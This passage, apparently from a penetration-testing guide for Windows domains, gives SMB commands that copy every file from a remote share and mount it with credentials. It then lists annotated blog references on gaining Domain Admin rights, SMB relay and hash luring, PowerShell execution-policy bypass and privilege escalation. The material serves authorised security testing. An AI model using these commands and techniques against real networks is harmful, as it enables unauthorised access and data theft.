cd 'path\to\remote\dir'
lcd '~/path/to/download/to/'
mget *
```

or mount the share directly

```
mount -t cifs -o username=<share user>,password=<share password>,domain=e
```

Appendix-I : Interesting Stories

Targeting Domain Administrator!

- RastaMouse talks about his experiences in a blog on PSExec Much? Here he starts with a domain user and make his way to Domain Administrator account utilizing Powerview/ Invoke-LoginPrompt.
- Sean Metcalf has written a awesome blog on Attack Methods for Gaining Domain Admin Rights in Active Directory

- Fuzzy Security has written a amazing blog showing the journey of Local Administrator to a Domain User to Domain Administrator in his blog Windows Domains, Pivot & Profit
- Nikhil SamratAshok Mittal has written a blog on Getting Domain Admin with Kerberos Unconstrained Delegation Sean Metcalf has written Active Directory Security Risk #101: Kerberos Unconstrained Delegation (or How Compromise of a Single Server Can Compromise the Domain)

Others

- Identify High Risk Windows Assets : Scott Sutherland writes a powershell way and A Faster Way to Identify High Risk Windows Assets Active Directory stores the operating system version and service pack level for every Windows system associated with the domain. The information can be used during penetration tests to target systems missing patches like MS08-67, or identification of high risk assets.
- Windows Exploit Suggestor tool compares a targets patch levels against the Microsoft vulnerability database in order to detect potential missing patches on the target. It also notifies the user if there are public exploits and Metasploit modules available for the missing bulletins.

SMBRelay

- Scott Sutherland has written Executing SMB Relay Attacks via SQL Server using Metasploit
- To lure the victim, so that they give their hashes for cracking/ relaying Karl Fosaaen has written a blog on 10 Places to Stick Your UNC Path
- By default PowerShell is configured to prevent the execution of PowerShell scripts on Windows systems which can be a hurdle for penetration testers, sysadmins, and developers. Scott Sutherland has written 15 Ways to Bypass the PowerShell Execution Policy

Windows Privilege Escalation

- Windows Privilege Escalation Part 1: Local Administrator Privileges
- Windows Privilege Escalation Part 2: Domain Admin Privileges
- 5 Ways to Find Systems Running Domain Admin Processes